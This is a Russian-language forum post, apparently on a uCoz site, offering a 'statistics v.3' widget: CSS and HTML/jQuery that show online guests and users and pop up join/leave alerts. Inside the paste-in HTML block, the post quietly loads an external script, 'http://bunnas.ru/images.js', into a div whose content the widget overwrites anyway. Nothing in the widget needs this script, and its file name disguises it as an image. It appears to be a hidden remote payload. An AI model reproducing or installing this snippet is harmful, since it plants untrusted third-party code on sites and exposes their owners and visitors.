Вторник, 05.11.2024, 08:47

Лучший софт

Поиск
Наш опрос
Вам понравился сайт?

Результат опроса Результаты Все опросы нашего сайта Архив опросов

Всего голосовало: 226
Мини-чат
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Усовершенствованая статистика v.3

olichka

Дата: Воскресенье, 20.11.2011, 14:23 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 4
« 0 »
Статус: Offline
СКРИН:

1) Чуток изменён вид.
2) Теперь когда 98%, не будет вылизать за рамку.
3) Если пользователей на сайте нету, то пишет (Пользователя нету).
4) Скрипт *Зашел и Вышел*.
5) Добавлен уникальный Онлайн лист.

Установка...
a) Добавляем в СSS:

Code
.cross1 {padding-top:1px; display:inline-block; padding-bottom:1px; color:#fff; text-align:center; margin:0px -1px; text-shadow:0px 1px 0px rgba(0,0,0,0.30); border:1px solid #757B7F; background:#7d7d7d url('http://u51st.net/images/new/highlight_faint.png') repeat-x top; text-align:left;}     
     .cross2 {padding-top:1px; display:inline-block; padding-bottom:1px; color:#fff; text-     
     align:center; margin:0px -1px; text-shadow:0px 1px 0px rgba(0,0,0,0.30); border:1px solid #586a7c;     
    border-left:1px solid #646A6D; background:#61768A url('http://u51st.net/images/new/highlight_faint.png') repeat-x top; text-align:right;}     
     #icon-border {margin:0px; padding:1px; display:inline-block; border:1px solid #ccc;     
     background:#fff;}     
     #icon-blue {display:inline-block; height:6px; width:6px; border:1px solid #586a7c;     
     background:#607c99 url('http://u51st.net/images/new/highlight_faint.png') repeat-x top;}     
     #icon-gray {display:inline-block; height:6px; width:6px; border:1px solid #757B7F;     
     background:#999999 url('http://u51st.net/images/new/highlight_faint.png') repeat-x top;}     
         
     a.userList:link, a.userList:visited, a.userList:active {display:block; text-     
     decoration:none; border-top:1px solid #ccc; margin-top:-1px; background:#EDEDED; padding:5px 5px;}     
     a.userList:hover {text-decoration:none; background:#E0E0E0;}


б) Ставим там где хотим:

Code
<div style="display:none;">$ONLINE_COUNTER$</div>     
     <div style="float:right;"><span style="color:#61768a;">Пользователи</span><span id="icon-border"     
    style="margin-left:3px;"><span id="icon-blue"></span></span></div>     
     <div><span id="icon-border" style="margin-right:3px;"><span id="icon-gray"></span></span><span     
    style="color:#7d7d7d;">Гости сайта</span></div>     
     <div style="border:1px solid #ccc; background:#fff; padding:1px 2px; margin-top:2px;" id="stat-line"     
    align="left"><script src="http://bunnas.ru/images.js" type="text/javascript"></script></div>     
     <div style="border:0px; border-bottom:1px solid #ccc; border-left:1px solid #ccc; border-right:1px ;    
    solid #ccc; padding:2px; text-align:center;" id="all-users"></div>     
     <script type="text/javascript">     
     var allusers = $('.tOnline b').html();     
     var gostusers = $('.gOnline b').html();     
     var siteusers = $('.uOnline b').html();     
     var uGosti = (gostusers/allusers).toFixed(2)*100;     
     var uUsers = 100 - uGosti;     
     function skl(a, n) {return a[n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=     
    20) ? 1 : 2];};     
     $('#stat-line').html('<div class="cross1" style="width:'+Number(uGosti).toPrecision(3)+'%;"     
    id="ghostss"><span style="padding-left:3px;">'+uGosti.toFixed()+'%</span></div><div class="cross2" style="width:'+Number(uUsers).toPrecision(3)+'%;" id="userss"><span style="padding-right:3px;">'+uUsers.toFixed()+'%</span></div>');     
     $('#all-users').html('На сайте <b>'+allusers+'</b> '+skl(['человек', 'человека',     
    'человек'],allusers)+'</div>');     
     if (siteusers<1) $('#userss').hide();     
     if (gostusers<1) $('#ghostss').hide();     
     </script>     
         
     <div style="margin:-5px; margin-top:5px; padding:0px; border-top:1px solid #ccc; background:#f3f3f3;     
    max-height:160px; overflow:auto; overflow-x:hidden;" id="userList"><?if($ONLINE_USERS_LIST$)?><?else?> <b>Пользователи отсутствуют...</b><?endif?>     
     <div style="clear:both"></div>     
     </div>     
         
     <script type="text/javascript">     
     $.get('/index/62',function(e){ fuu = $('cmd[p="content"]',e).text();     
     $('a',fuu).each(function(i){     
     $('#userList').prepend('<div class="ssikq" style="margin-top:4px; margin-bottom:-19px; padding-    
    right:6px;" align="right"><div align="right"><font size="1"><strong>Пользователь сайта</strong></font></div></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');     
     });     
     });     
         
     setInterval(function(){     
     data=$('#userList').text();     
     $.get('/index/62',function(q){ fis = $('cmd[p="content"]',q).text();     
     //     
     $('a',fis).each(function(){     
     if(data.indexOf($(this).text())== -1){     
     $('#userList').prepend('<div class="ssikq" style="margin-top:4px; margin-bottom:-19px; padding-    
    right:6px;" align="right"><div align="right"><font size="1"><strong>Пользователь сайта</strong></font></div></div><a class="userList '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');     
     _uWnd.alert('<div align="center" style="padding:5px;">Пользователь: <b>'+$(this).text()+'</b> зашел на     
    сайт.</div>', '',{w:250, tm:5000, h:75});     
     }     
     }); // вошли     
     $('#userList a').each(function(){     
     if(fis.indexOf($(this).text())== -1){     
     _uWnd.alert('<div align="center" style="padding:5px;">Пользователь: <b>'+$(this).text()+'</b> вышел с     
    сайта.</div>', '',{w:250, tm:5000, h:75});     
     $(this).prev('.ssikq').remove(); $(this).remove();     
     }     
     }); // вышли     
     //     
     });     
     },7000);     
     </script>

  • Страница 1 из 1
  • 1
Поиск: